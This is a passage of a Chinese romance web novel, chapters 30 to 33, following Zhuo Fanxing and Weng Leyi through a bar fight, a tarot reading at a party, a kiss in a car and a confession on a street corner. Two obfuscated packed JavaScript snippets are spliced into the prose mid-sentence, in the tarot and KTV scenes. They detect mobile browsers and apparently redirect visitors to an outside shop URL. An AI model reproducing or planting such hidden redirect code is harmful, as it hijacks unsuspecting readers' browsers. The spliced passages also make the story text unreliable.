“我不吃,我朋友——”她点了点翁乐仪,坐到他那张桌子上。 “翁乐仪——”她纠结了半天开口,结果他一抬眼又叫她偃旗息鼓。 “我很饿,等我吃完再说。”他终于开了尊口,卓繁星小小松了口气,可这口气没有松太久。因为沉默只会更加尴尬。 尽管周围的桌子坐了三个人,厨房里的锅炉咕噜咕噜的响,空调外机的排风扇嗡嗡嗡的吹,卓繁星却仿佛被隔绝了一样,十分沉寂。 她低着头,在觉得实在无事可做后,抬头的瞬间看见翁乐仪在看她。 她有种被审视的惊慌感,相比于她,他要自然许多,起码他没有慌慌张张地挪开眼睛。 幸好老板的出餐速度很快。 卓繁星第一次这么喜欢听这种高亢的大嗓门。“我来。”她几乎是瞬间弹起来跑向取餐的吧台。只恨这家 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翁乐仪好像真的很饿,动作看着斯文,可其实很快。卓繁星想他方才没吃什么菜么。是不是太辣了,他的嘴巴都红通通的。 她注视的太久,让翁乐仪不得不看她。 “我去买点水果。”她跳起来。 “我马上吃好了。” “就在旁边。”她争取道。 他思考了下说好。 卓繁星撩开塑料门帘出来,长出一口气,胸口跳的厉害,急需冷空气压一压惊。 她浑浑噩噩地进了水果店,然后心不在焉地提着一袋橘子结账。翁乐仪诡异地停顿片刻,然后去结账。 “不用,我自己付就好。”她慌慌张张地拿了一个出来给他:“吃一个,清清口。” 翁乐仪忍不住又将她从头到尾看了一遍。 “你把橘子皮扔这儿吧。”她把手里的袋子展开,已经有些破罐子破摔的意味,耷拉着眉眼,浑身上下都透着一股任人揉圆搓扁的可怜劲儿。 翁乐仪终于开口了:“那天的事——” “是个意外。”卓繁星接的很快,扬起脸,带着抱歉的笑。“实在不好意思。” “不好意思?” “嗯。”她又低下头。 翁乐仪觉得多年前被戏弄的感觉卷土重来,他看向远处,眉宇压的很低,足足过了十秒钟才开口:“你的意思是那天你必须要和一个人接吻,而我恰好在那儿,是吗?” “还是你不小心解开了安全带,不小心拉住了我,然后扑上来——” 卓繁星的脸涨的通红。他还不肯放过她。“抱歉,我从你话里理解的就是这样。” “如果是这个意思,那你的确需要和我道歉。” 这是卓繁星第一次领会到翁乐仪的刻薄,她觉得自己肯定是把他美化了,他在她的记忆里分明十分温柔且善良。 “是这样吗?”他还没有停。 卓繁星说:“所以你也可以推开我。”她涨红的脸削弱了一些气场,然而这并不妨碍成为绝杀。 翁乐仪迅速缄口。 卓繁星这下没有躲开他的目光了,甚至转化为一种轻描淡写地蔑视。 “你说的对。”翁乐仪转身离开。他觉得不该这样,这不是什么很有意思的事。 30. 第 30 章 下个周末,卓繁星在洪家别墅遇见了洪旺。他今日回家用餐,正与繁星撞上。 他实在难得来一次,卓繁星上次因为角度问题没看清他脸,不曾想他们早就遇见过。 “卓小姐就是Bella的舞蹈老师。”他也很意外。 卓繁星点头,说多谢陈太太信任,还因为陈太太与她家老板的关系。她上月上任,如今不过是第二个月。 洪旺有意与她多聊几句,陈女士已经惊诧地走了过来。 他将如何相识一事简单说予她听,她不免感慨:“要不说Y市是个小地方呢,这样都能遇见。” 她眼神在他二人之间来回打转,势必要在里面看出一点名堂。 “要不留下来用饭?”她头一次这样开口,卓繁星自然吓得赶紧推拒,匆匆离开。 洪旺自然也要将这事说给翁乐仪听。“没想到还有这样巧的事,她竟在我家中兼职。” 他自是不知晓翁乐仪早遇见过她,更不知他们以前的事。见翁乐仪反应十分平淡,他又问:“她的微信你加上了没?” 这正戳在翁乐仪痛处上,他不屑于撒谎,因为撒谎更会引出令人想入非非的话题,他势必要继续问下去。而讲实话,又实在有些难堪,遂沉默。 洪旺何等人,情场浪子,男女之间的事他只肖一观便知。他不屑地笑了一声。“有些女人最会玩欲擒故纵的把戏。”他知晓翁乐仪的性格,是在给他打预防针。不要被这些小伎俩骗去。 “你想多了。” 他耸耸肩。“我听我那继母讲是首都舞蹈学院的高材生,这类人都有这样的毛病。实则不过如此。ok,我不讲了。”他接收到翁乐仪的眼神,抬手作罢。 “你若喜欢这类我再给你找来,你见过了就知道不过如此。” 翁乐仪说:“大可不必。” 他一副包在我身上的架势。这之后便寻机约他去酒吧聚会,势必要让他重拾信心,把某个不知好歹的女人抛在脑后。 过了几日,卓繁星突然听邵丽丽讲翁乐仪在酒吧打了人。她惊诧之余,还被告知那人就是钱琦正。 “酒是喝多了的。不过我看翁总根本就是清醒的。”她抱臂靠在楼梯扶手上同她讲。“钱琦正这种男人最没品了,你后来没理睬他,他说你假清高,说你以前大学的时候就知道勾引富二代。你说这种人是不是沙比。” “好巧不巧,酒吧里碰上,位置就在旁边。他自己几杯黄汤下肚,没脑子了,嘴巴不干不净,抱着个女的喊你名字,玩上cosplay了,你说恶习不恶心?” 她没讲那天,那个沙比掐着那美女脖子,说:“你叫什么名字?” 美女说:“我叫卓繁星。” 钱琦正还要笑,说:“不,你不是。卓繁星可是首都舞蹈学院毕业的,你会跳舞吗,来,劈个叉看看。” 那美女穿个包臀裙黑丝袜劈不下去,他一下火起来把她拎起来叫她劈。“你不是卓繁星么,卓繁星会劈叉啊。当时剧组里我可见着呢,劈的两条腿啊,老长老长呀。” 好么,这句话说完,翁乐仪拎着啤酒瓶就给他脑袋上开了瓢。这个沙比反应过来之前,翁乐仪已经把他按在位置上揍了好几拳了。 翁乐仪虽然腿脚不好,但是耐不住出其不意加力气大。不过钱琦正那帮损友也不是吃干饭的,要不是洪旺在,事情还不知道怎么样呢。 “脸上被打了一拳,还有手臂上不知被哪个沙比敲了酒瓶子,被玻璃划伤,不过还好啦,不严重。” 邵丽丽讲完见她心 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洪旺的眼神有些玩味,显然翁乐仪对面前这个女孩儿不是轻飘飘一句猎艳能概括的,这让他势必待她郑重起来。 他说:“没什么大问题,就是手上缝了几针,月底就好拆线了吧。” “你与他联系过吗?” 卓繁星诚实摇头,事实上她还打了电话,可没人接。就像她之前对他做的一样,他通通报复回来,或者他觉得没必要。 “我想谢谢他,麻烦你转达一下。” “好。”洪旺应的干脆,在她要踏出门的时候说:“后头晚上我请几个朋友到家里来玩,你要来吗?可以和Lily一切来。” 31. 第 31 章 “你不是叫Eva吗?”卓繁星问邵丽丽。 邵丽丽白了她一眼。“爱称懂不懂。我觉得Lily真的很好听啊,我本来就叫丽丽嘛,真不懂当时杰米哥怎么想的。” 她最近和洪旺显然在蜜月期。“他是我交往的人里面学历最高的,读了美国的文科博士和一个法律硕士。”她啧啧感叹,要知道她都不是正儿八经的高中毕业。难怪说要多读书,到底是不一样的呀。 卓繁星说:“不要有学历滤镜。” 邵丽丽翘着新做的指甲,睇她:“拜托,我现在听他在我旁边讲英文,我都眼冒红心。上次他带我去个酒会,他们交谈都用鸟语的呀,我虽然听不懂,但是我的心跳的波波快。回去我就把他扑倒了呀。” 她没讲她在那边就忍不住了,借口上厕所把人拐到卫生间,狠狠亲了一通。 卓繁星快笑晕了,一面又觉得她坦诚的很可爱。“你不是会讲日语。” “我那是在居酒屋打工的时候学的,就那么几句,哪里算会。” 卓繁星觉得那个洪旺就是个花花公子,换女友对他来讲就和换件衣服一样简单。邵丽丽这样迷恋他,令她有些担心,她讲起他来有些春心萌动的味道。 “你之前不是说要拜托钱琦正帮忙,后来出了事有影响吗?” 邵丽丽讲:“他那边肯定是指望不上呀。不过这又不赖我,他自己嘴贱。为难我是没有的,就是他自己丢了面子,谁叫我那天在呢,我现在又和洪旺一道,他肯定也不想看见我。” “没事啦,有得有失嘛。圈子里都是拜高踩低的,洪旺也介绍了好几个朋友给我认识,都是手里有资源的。不过其实我也在想,要不要不混圈子了。” 这倒是新鲜事,卓繁星经常听她讲的就是资源,认识圈里的某某人,想红,甚至还去改名字,如今竟然说不混了。 “怎么突然这样想?” “哎。”邵丽丽叹口气。“我知道自己几斤几两啦,年纪也不小了,你知道的呀,二十五岁都是老人了。杰米哥说我人傻脾气大,情商太低,开直播都没人看。我以前年纪小,傻兮兮地真信那个榜一大哥约我吃饭就是吃饭,结果差点进局子吃牢饭。” 说起来就很心酸啦,不过邵丽丽还是被自己逗乐了。 “所以有文化是真好,还是要有文化啊。我就是吃了没文化的亏,不然怎么同期的一个大学生就顺利钓到高富帅,现在做富太太去了呀,什么都不用管了。” 卓繁星觉得她的思维特别跳跃,因为经历不同,即便无法认同,却不会急于反驳。 “洪旺说介绍我去一家公司上班。” “上什么班?” “就是那种小的设计公司吧,做做后勤、前台接待。不然呢,我能做什么啦。”她有些烦躁地抓了抓头发。“我还没想好呢。” 到了聚会那天,卓繁星在头一天晚上就想好了要穿什么——白色的圆领毛衣加同色百褶长裙。如果是平常,她会将裙子换成裤子。 仅仅这一点心思,在邵丽丽面前也无处遁形。她戏谑地看了她一眼,直把她看的不自在。“怎么了?”卓繁星只能装作不知道地问。 “没什么。”她笑的古怪,摆摆手说特别好,随后又给她来了点香水,芬芳的气味正合了它的名字——无人区玫瑰,有一种流浪中不羁的美。 然而到了洪旺就家中,却被告知翁乐仪有一场商务晚宴,他今天不回来。 “真的是商务晚宴?”邵丽丽在边上问。 洪旺表示千真万确。 “怎么这么不巧。”邵丽丽替卓繁星可惜。卓繁星不想让她担心,她今天来其实也就是确认一下他的情况,其余的还有什么,什么都不会有的。他们上次那样争执过,其实不见面才是最合适的。 来的人有洪旺的两位男性朋友,一位是历史学家,另一位是极小众的职业,木雕师父。他的女友也来了,两人反差极大,女友叫Luna,身高腿长,直长发齐刘海,十分飒酷,是位珠宝设计师。 卓繁星感慨洪旺交友之广泛。她性格慢热,这些人虽性格各异,但并非要拉着你交谈的人。反而是慢悠悠听他们聊天,掺杂些许学术问题。卓繁星听不懂,也领会到了邵丽丽的意思,和这些文化高的人一道,难免会生出一些自卑来。 酒过半巡,Luna提议玩塔罗牌。 洪旺说:“又来了,这是她日常项目。我必须提醒一下你们,她前几次给我测的根本不准,甚至可以说完全颠倒。” Luna白了他一眼,表示她近来感觉自己的能量越来越强大,这是一种需要感知,充盈内心的精神上的东西,与他完全说不通。 翁乐仪进来的时候,洪旺有些惊讶。“还以为你不来了?” “那边提前结束了。”他淡淡应道,脱下身上的大衣去了厨房。洪旺跟过去,在厨房门口同他交谈了几句,然后扭头问:“有谁要喝莫吉托?” Luna举了手说一杯,随后催促卓繁星:“来吧,抽牌吧。” 卓繁星有些慌张地抽出三张牌,依次打开分别是:圣杯侍卫、恋人与圣杯二。其中恋人是逆位,其他皆为正位。 Luna开始分析。 “圣杯侍卫。”Luna的指尖点在这张牌上说:“这是一张传递信息的牌,代表着纯净的情感讯息与心灵的馈赠。它描绘了你的过去——唔——”她适时地顿了下。 “我从这张牌里看到你有一段持续了多年的、小心翼翼的暗恋。你就像这位侍卫,怀抱着圣杯,守护着这份未曾言说的情感,既虔诚又带着一丝不安。” 卓繁星在她说出暗恋的时候呼吸都停了一瞬,她圆溜溜的眼睛看她,十足的警惕,像怀里藏着金子,她怎么一眼就看透了。她分明将它藏的很好。 邵丽丽问她:“准吗准吗?” 卓繁星当然只有沉默。 Luna的眼睛看着她就像探照灯一样,可她并没有为自己辩驳,而是接着分析下一张牌。 “接下来是恋人逆位。”Luna的声音顿了顿,多了一丝审慎。“这张牌……依然代表着一次强烈的、命运性的相遇。你们确实相遇了,那一瞬间的吸引力真实不虚。但是,逆位的‘恋人’往往预示着这段关系面临着考验。它可能意味着错误的选择、沟通的障碍,或是来自现实层面的阻力。” “谢谢。”她突然停顿。原来是翁乐仪将调好的酒放在她面前。 他在卓繁星的斜对角落座,这意味着如果不刻意去看,可以不用与他有任何眼神的交汇。 这对卓繁星并非什么坏事。她只能尽量自然地让余光看向他。 Luna喝一口酒说:“你在遇见他后心动不已,却也伴随着深深的不安与恐惧,你害怕这美好的联结之下隐藏着无法逾越的鸿沟,或者,这本身就是一个美丽的错误。” 翁乐仪的手指握着一只透明的玻璃杯,里面浮动着许多冰块,还有翠绿的薄荷叶。 那一定很冰吧。 卓繁星不经意扫过他的脸,脸上的伤口应当已经愈合了。 “最后,圣杯二。”她的声音很高亢,让人不由自主地追随。 “这是一张正位,是好消息。它代表着和谐、平等与情感的共鸣。出现在‘未来’的位置,它似乎在说,只要克服了‘恋人’逆位所提示的障碍,彼此的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067335|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心意依然有共鸣的可能,通向联结的道路依然是敞开的。” 结束后Luna大喝一口酒,很享受地打了个嗝,感叹道:“我钟爱小翁的莫吉托。” “好啦,就是这样。非常好的牌。还有人要来吗,还有吗?我感觉我今天的能量只能再算一次了哦。”她眼珠看向翁乐仪。“要不小翁来吧。你给我调酒,我给你算命,怎么样?” 翁乐仪浅笑了一下,表示拒绝。 木雕师傅喝多了酒开始敲鼓,那种坐着拍的小鼓,十分有节奏感。翁乐仪呆了一会儿,去了厨房。 Luna对他要求再来一杯。 卓繁星进去的时候,翁乐仪叼着烟,另一只手夹着薄荷叶,听见声音扭过头,眉心微蹙,表情算不上友好。 卓繁星说:“菜吃完了,我过来看看有没有什么下酒菜。” 他按灭烟头,打开冰箱,拿出一盒青芒条,叫她拿过去。“告诉Luna只有这些,别再吃了。” “你上次受伤好点了吗?”卓繁星趁机道。“还有,谢谢你。我没联系上你——早就应该说的。” 一番话说的磕磕巴巴,如果翁乐仪能给她一个更好的脸色的话,她会觉得这是一次非常成功的会晤。可他只是看着她,冷淡又礼貌地说了一句没事了。 这时候的礼貌可不是什么好词,它意味着生疏、客气,反正不是卓繁星所期待的。 可她期待什么呢?她期待的东西难道真的能像最后一张塔罗牌显示的那样么。 她才是那个拎不清的人。 想通了这点,她便对自己为何要来这场聚会而感到后悔。如果不想让翁乐仪对她的印象再加一个反复无常的话,她还是离他远点的好。 终于熬到聚会结束,邵丽丽却选择留下来过夜。她无辜地醉倒在洪旺身上,对翁乐仪说:“那就拜托翁总啦,一定要将繁星安全送回家呀。” 翁乐仪一上车便闭目睡去,很疲惫的样子。 卓繁星在车里闻到了清楚的酒味,这在他身上是十分陌生的。翁乐仪没有喷香水的习惯,难得的几次靠近,她闻到的是他身上衣物洗涤剂的香味。 啊,除了最近的一次。那次她只能闻到橘子味了呀。 她突然想到自己今日出门前喷的香水,低下头嗅了嗅,似乎早已消散。 卓繁星后来也睡了过去。她平常这个点已经在梦里了。 去她家的路要横穿半个市区,她是为了什么要这样奔波过来。入睡前,她这样想。可是她闭眼前还是忍不住看了一眼身边的人。 卓繁星醒过来的时候先是懵的——外面是她租住的小区,她在车里,车子停下了,司机不见踪影,她靠着一个温暖的身体。 “翁乐仪。”她试探叫醒他。 翁乐仪终于睁开眼睛。 “我到家了,司机好像走了。我另外给你叫一个代驾。” 她拿出手机,终于觉出奇怪来,又抬头——他果然还看着她。 “你——” 他的手指下一秒就落在她唇上。 很轻柔地抚过,随后从下唇转到上唇。 卓繁星躲开后,他的手指顿在空中,随后又固执地伸过来。 卓繁星只能握住他的手。 视线在黑暗中交织,可是他们都能看清彼此的眼睛,里面有一盏小灯,烧的很亮。 卓繁星感觉自己的呼吸都停顿了,在找回的瞬间,他握着她的手压上来,鼻子贴住她的。 抵近的呼吸将他身上清冽的酒香清晰地传递过来,卓繁星听见他的声音,低沉的带着薄荷的气息。 “你也可以推开我。”他这样说。 32. 第 32 章 卓繁星第一次知道他是这样一个记仇的人。连这句话也要报复回来。 他的唇在她嘴唇上擦过,一触即分,却更加缠绵。激吻时或许可以归咎于荷尔蒙,可这样慢条斯理的亲吻,让人连一丝失控的理由都找不到。 像是试探一样,又在她唇上轻轻碰了碰,沿着手指抚过的路线。 密闭的空间,黑暗的环境,放大的呼吸和心跳。 其实翁乐仪远不如他表现的那样淡定,如果不能归咎于酒精,那他现在在做的事是什么,向她求爱? 是,她没有推开他,可她也没有主动抱住他,就像之前他在车里对她做的那样——在她亲上来的瞬间就抱住她,吻回去。 不是像现在这样,只知道看着对方。 他突然后撤又坐回原来的位置,卓繁星好像终于能呼吸到了足够的空气,大喘了一口气。 上帝的视角看来,他们各自望着窗外,手却牵在一起,像偷情的男女,总之无论如何,似乎都与禁忌脱不开关系。 那是要压抑的欲望,如同沸腾的岩浆聚集在火山口,不安、躁动。 卓繁星看向他。翁乐仪微低着头,侧脸没在黑暗的光线中,她看见他微亮的眼珠。 窗外不知何时下起了小雨,细密的雨丝落在车窗上,一点一点,将街边的广告牌、路灯留下的影子晕出一片模糊的颜色。 连绵不绝的窸窸窣窣的声音,是令卓繁星觉得安心的白噪音。尽管心如擂鼓,她却不愿离开。她能感受到那并非惊慌、不安的情绪,而像萌芽的种子,破土而出,顶着土壤,发出的动静。 那让她觉得一种痒,带着微微的愉悦,一种酥酥麻麻的感觉。 它一点一点的在她几乎干涸的心湖长出来,仿佛一种奇迹。她或许从未想过会与他还有这样的际遇。 窗外的雨,他们坐在车中,仿佛被隔绝了一样。 终于,对面行驶而来的汽车将车内照亮,尽管只有一瞬,也让卓繁星恍然。 她挣开他的手跳下车,迎着小雨往家走。 她的外套上沾的湿淋淋的,没有帽子的缘故,头发上也是一片潮湿。她在淋浴器下站着时,感觉就像方才淋的雨。她的心被弄的潮湿一片,躺在床上时,怎么入睡也不知道。 邵丽丽从洪旺处打听来翁乐仪出差了。 “听说去的法国,我们聚会第二天就走了。” 卓繁星哦了一声。 “你们微信加上没?” 卓繁星看了她一眼没有马上回答,她立刻就懂了,笑道:“加上了啊。”然后很快提要求。“让我瞅瞅。” “没什么的。”卓繁星想遮掩过去。 “让我看看嘛,我欣赏一下大名鼎鼎小翁总的微信。拜托,满足一下我的好奇心嘛,他看起来超高冷。” 卓繁星被她软磨硬泡还是给她看了。她一打开就惊呼。“天啦撸,你们两个加上后不聊天的吗!” 她把微信界面伸到繁星面前,好像是她的手机一样。 上面孤零零一条验证消息:我是翁乐仪。 卓繁星第二天早晨起来收到的。她在加上时试图说些什么,或许问他昨天几点到家的,有没有不舒服?可是想想太过暧昧,她还是作罢。 “你们两个真的是在搞对象吗?” “并没有呀。” “才怪咧,他明明对你有意思!可是你也太迟钝了吧。还是你们两个在互钓啊,比谁耐力强!” 她认真思考了一下这个可能,沉思道:“难道你们才是真正的高手?” 卓繁星丢了一个大白眼给她。 “我知道了,你们两个都是闷骚型的!” 卓繁星不觉得这是什么好词。“你才闷骚。我们没有那个意思。” 邵丽丽小小地yue了一下。“受不了你。能不能不要这么正经啊。谈恋爱哎,那不是眼神碰到一下,就chuachua的冒火星子么!如果都像你们这样,人类都要灭绝了。” “那像你们这样吗?” “我们怎么了?”她得意道:“及时行乐不好么。翁总也是,加了微信就主动一点呀。难道等你这个,戳一下动一下的人,和乌龟一样。” “你才乌龟。” “哎!”她叫一声,又把手机翻给她看。“人家有主动好吗!我错怪他了!” 她看着卓繁星的表情。“你知道啊!那你也不表示!” 手机上是一星空照片,繁星璀璨,十分梦幻。那是翁乐仪最新的朋友圈。 卓繁星一天点进去看好几遍,怎么可能没有发现。 “我给你点个赞!” 卓繁星抢过来,她已经点好了。 “喂!”卓繁星看着照片上面的小爱心,脸开始发红。 邵丽丽简直没眼看,托着腮无语道:“真受不了你们。” “不过你别说,翁总还挺有情调的。他为什么要拍这个照片呀?星星,繁星,啧啧......搞不懂呦。” 她挑着卓繁星的头发打圈圈,卓繁星瞪了她一眼,她更得意了。“还挺浪漫的,我和洪旺说一下,偶尔也是可以来点这样的小情调的。” 卓繁星赶紧抓着她,叫她坚决不要大嘴巴。 翁乐仪回来已经是一周后。 安杰将事情都报告好后,提道:“项目二组晚上有聚会,黄经理要办欢迎会,想邀请您去。您如果不去,我就去回掉。” 翁乐仪看着电脑上的文件回道:“可以,把地点发我。秘书办公室也有新来的吧,干脆一起去,我请客。” “那就谢谢老板了。” 安杰出去把这个消息公布出去,办公室资深老秘陆芳挤出一节护手霜,慢条斯理地擦着。“哎呀,收拾收拾晚上去吃大餐了。我同我老公说一声,晚上不回去吃了。” 新来的员工于晴晴羞赧道:“我要不要和老板说一声谢谢。” “吃饭的时候谢就好了啦。”她挪着椅子和隔壁八卦:“那个黄国勋分明就是算好的,小翁总好说话,又大方,他请翁总去,翁总肯定要请客的呀。” 于晴晴说:“那要是翁总不去呢?” “不去?”办公室里其他人都笑出声。“不去么就公司食堂吃一顿咯。” “这么夸张?” 陆芳呵呵两声。“不然他房子怎么买起来的,你看他穿的人模狗样的,其实铁公鸡一只,一毛不拔的。同他比起来,齐帆好的多了,上次团建,他自己贴一部分钱出来,请他们部门去吃的高级自助。我听说二组里面几个人叫苦连天,都不太想在他下面混。” “说起来,他姑娘追到了没?” “谁?齐帆呀。不知道呀,我回头去问问。我和他们部门小方好的呀。”陆芳的八卦之魂迅速燃烧,想了想一抬屁股起来,说:“我刚好有个资料要送过去,我现在就去!” 陆芳去了一趟项目一组,直接让队伍瞬间壮大。一群人吃完饭还有第二场,轰轰烈烈地往KTV去。这是翁乐仪来Y市后第一次大的聚会,他在这边要呆一段时间,所以适时的融入团队还是必要的。 饭桌上翁乐仪被敬了几轮酒,好在后来齐帆顶上。黄国勋本来就爱喝酒,还是个人来疯,桌子上面最活跃的就是他。没一会儿就揽着翁乐仪称兄道弟,他是众鑫的老人了,如今酒喝多了,平日那点慎重也不知道丢到哪里去了。 陆芳不忿道:“不晓得的还是他请客。” “他先前是不是国企出身?”安杰夹一粒花生米边吃边吐槽:“老喜欢倚老卖老,论资排辈。” “齐帆比他有能力多了,他在他面前不是还一副老前辈的样子。” “他在翁总面前也这样。” 两个人互看一眼,道一声作孽。 陆芳心疼。“看把我们小翁总喝的脸都白了,真是不晓得轻重。” 于晴晴坐在一边,脸还红着。方才给几个领导敬酒,声音蚊子叫一样,娇羞着一张脸。 翁乐仪知道她跟在安杰手下,多说了几句。她脸更红了,下面人起哄道:“呀,翁总真是的,不要问了呀,小姑娘被你问的害羞的都要钻到地下去了。” 黄国勋说:“刚刚在我面前可不这样哦。” “你和翁总比呀,来来来,您站在翁总边上,你自己看看呀。” 于晴这下更尴尬了,回到位置上眼睛都红了。 陆芳说:“理他们做什么,一群男人没几个好的,就敢嘴皮子占点便宜。你以后理都不要理的。” 她嗯了一声,眼睛还是忍不住往翁乐仪那边看。 到了KTV,大家起哄一定要他唱一首。翁乐仪也不扫兴,先请黄国勋开唱,等他唱完了,自己起身随便点了一首英文歌。 黄国勋唱的不是不好,可和他一比完全是两种风格。 翁乐仪穿了一件米白色的圆领毛衣,站到麦克风支架前面,配合着幽暗的光线,轻快雅痞的音乐响起来,他唱的人心都痒痒。 “Themoodywindthatoncemadeusmeet......” 陆芳捂着心口直叫唤。“哦呦,哦呦,他还抬眼看我。那个眼神,哦呦,看的我心脏病都要犯了呀。怎么这么勾人。” 于晴晴被她抱着尖叫,自己也跟着叫,眼睛亮晶晶地看着前面的人。 她第一次见到一个人能把英文歌唱那么好听。他唱歌的声音同他说话完全不一样,柔和多了,像是在你耳边说情话一样。 他一结束,下面瞬间尖叫:“再来一首!再来一首!” 一组的妹子上去献花,不知道哪里来的塑料花,她脸红红,翁乐仪接过来道了谢,她捧着心口冲回来。 陆芳感叹:“翁总真是太正了呀,我要是年轻十岁,我也要上了呀。连那个腿都成了苏点,维纳斯知道吧。” 安杰说:“翁总不搞办公室恋情哦。” “哦呦,公司他家的,他又不是常驻Y市,到时候这种不是随便他说。” “你说的和真的一样。” 安杰小声说:“我觉得翁总有对象了。” “啥?”这可是个大八卦。 安杰一时漏嘴,已经后悔了。陆芳怎么肯放过他。 安杰只能说:“在法国转机的时候,我看翁总买了一样首饰。” “或许是给他妈妈的呢。” 安杰嗯了一声没反驳。肯定不是,那是一只发卡,碎钻宝石做的一个跳舞的少女,一看就知道是给小姑娘的。 里面群魔乱舞,翁乐仪抽空出来,在吸烟区点了只烟。他最近没睡好,有些困,手机拿出来,找到熟悉的头像,打了几行字又删掉。 卓繁星上卫生间出来,没想到碰到齐帆。 “我们部门聚会。”他有点喝多了,脸红,脖子上青筋也冒出来。 “我老板过生日。”卓繁星简单道。今天何安琪生日,卓繁星和潘潘给她买了个蛋糕,她后来又叫了工作室几个员工一起来。这算是她离婚后的第一个生日,她感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067336|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触颇多,许愿的时候没哭,倒是唱歌的时候刷刷流泪。 齐帆点点头,不知是不是酒喝多的缘故,觉得今天面前的女人格外娇媚。 卓繁星是喝了一小杯啤酒,有些上脸。再加上要出门聚会,略施淡妆,头发养长了,刚好到锁骨,一边夹在耳朵后面,衬得耳朵玉一样白,上面一颗简单的银色耳饰,精致动人。 “嘉嘉。”他觉得有些热,扯了扯衬衫领口。“嘉嘉上次回去特别开心。” “嗯,她和我说了。我也很开心,她特别乖。” “是吗。”齐帆抓了下脑后的头发,感觉更热了。 “那下次——翁总——” 卓繁星看着面前的人,眼睫闪了闪。 “我先过去了。” “嗯,好。下次见。”齐帆想真是不巧。 卓繁星回到包厢的时候感觉还没回神。潘潘挤到她边上说八卦:“繁星姐,你刚刚错过了,乔诗情男朋友来接她,哦豁,给她拽的。不就是个小富二代嘛。” 手机震了一下,卓繁星点开。 【我在出门右手边的咖啡店。】 卓繁星迅速暗灭。心跳的飞快。 当她出了KTV,走的飞快。 他就站在咖啡店前的灯柱下,灰色的长风衣散开,一只手拿着手机,另一只手拿着香烟。连夜风都眷顾他。 卓繁星走近,他将烟熄灭。 对边是一家即将打烊的花店,店主正在搬运外面的花盆,整条街向下的斜坡,有种长夜里的宁静。 他走过去,挑了一束洋桔梗。店主做成最后一单生意显然非常兴奋,她目光顺着他走过来的方向落在卓繁星身上,带着温和与祝福的笑意。 卓繁星接过来,她不问,他也不讲。 二人向下走着。 他风衣的衣摆时不时打在卓繁星的裙子上。 “你怎么在那儿?” “老板生日。” 地上的影子时分时合,卓繁星看着怀里的花束,恍惚觉得这一幕似曾相识——啊,那是大二的时候,在酒吧门口,她想向他告白的那个夜晚。 “你上次也送过我花。”她突然的开口,让翁乐仪愣了片刻。 “什么时候?” 果然不记得了。卓繁星浅浅叹了口气。“大二迎新会的时候,你和徐謇一起来的。” 翁乐仪想起来了。当时徐謇与女友正在热恋期,那姑娘,也就是卓繁星的朋友,她们一起登台表演,徐謇当然要去送花。 他记得当时自己也被塞了一捧,因为满100减20。 对于那个晚上的印象,翁乐仪更深刻的是蒋凌洲的来电。 他们刚刚看了一场演出,卓繁星去卫生间了,他在她的手机上看到了这通电话。 后来她回来后,电话再度响了两次,他看见她冷着脸挂断。 他们还有联系。或许闹矛盾了。 翁乐仪这样想。 他不觉得那个晚上是什么愉快的记忆。 虽然他不愿意承认,他在看她表演的时候,一度脑子里都是徐謇的话:“她肯定对你有意思。” 他知道自己有些心动了。送花的时候感到局促,然后如孔雀开屏一样在酒吧登台表演。 “卓繁星。”在走到十字路口的时候,翁乐仪突然叫住她。 “嗯?”卓繁星转过头,然后就听见他说:“我们试试吧。” 他说完后一度觉得很寂静,因为再注意不到其他任何的动静,只想听到她的回答。 行人标志的红绿灯默默闪烁,他们站在这个路口,好像也是通往他们心灵的路口。 “试什么?”卓繁星听见自己的声音,很平静,很稳当,非常好。 翁乐仪不确定她是不是真的没听懂,抿了下唇说:“交往。” “为什么?因为接吻了?”卓繁星不知自己怎么了,出奇的淡定。她好像灵魂出窍一般,看着自己这个人,一个透明的人,她的心脏跳的稳定而有规律,一点也不符合自己遇见他的时候,听见这句话的时候。 那个即将开始燥热的夏天,她看着街上浓密的绿荫,幽静的街道上,欢快的音乐还留有余韵。她穿着一件蓝色连衣裙,捧着一小束玫瑰,跟在他身后。 可是她不知怎么了,就是突然变了。那个冷漠的背影,带着她穿过街道,坐上出租车,在最后下车的时候说了句:“再见。” 之后,他就飞去美国了。徐謇的活动,他就再不出席了。 他的沉默让卓繁星寥寥的开口:“没什么的,不必要。” 人行道上红灯转绿,卓繁星走过去,下个路口就是地铁站。 翁乐仪拉住她,卓繁星仰头看他,他们的眼神交汇,最后卓繁星还是败下阵来。 “卓繁星,我们交往吧。” 他眼中的温柔如有实质,是一种脉脉流淌的泉水,卓繁星从前就知道。她喜欢他这样的眼神,真诚的让人无法拒绝。她一直渴望了好久,却在这一刻说不出话来。 她让自己面无表情,生怕一下就要崩溃,泄露出一点。她要以一种淡然的态度面对他。 卓繁星说:“我只和喜欢我的人交往。” 她微微仰起头,有些倔强,没有去看他,看着他身后那家关着的轻食店。 过了一秒,两秒?或许是五秒,她失落地低头,没有看见他红起来的耳朵。 翁乐仪贴近一步,说:“我也是......只和喜欢的人交往。” 33. 第 33 章 卓繁星把那束洋桔梗插起来,希望它能多开几天。 她没有料理花束的天赋,这只花瓶早已闲置,她翻出来后冲洗好多遍,才将里面的杂质洗干净。 她想起以前不是没有买过花束,可是总是太短暂。等她照顾,它已经谢了——在短暂的装点了屋子后,又消失了。她还要记得给它换水、剪枝。 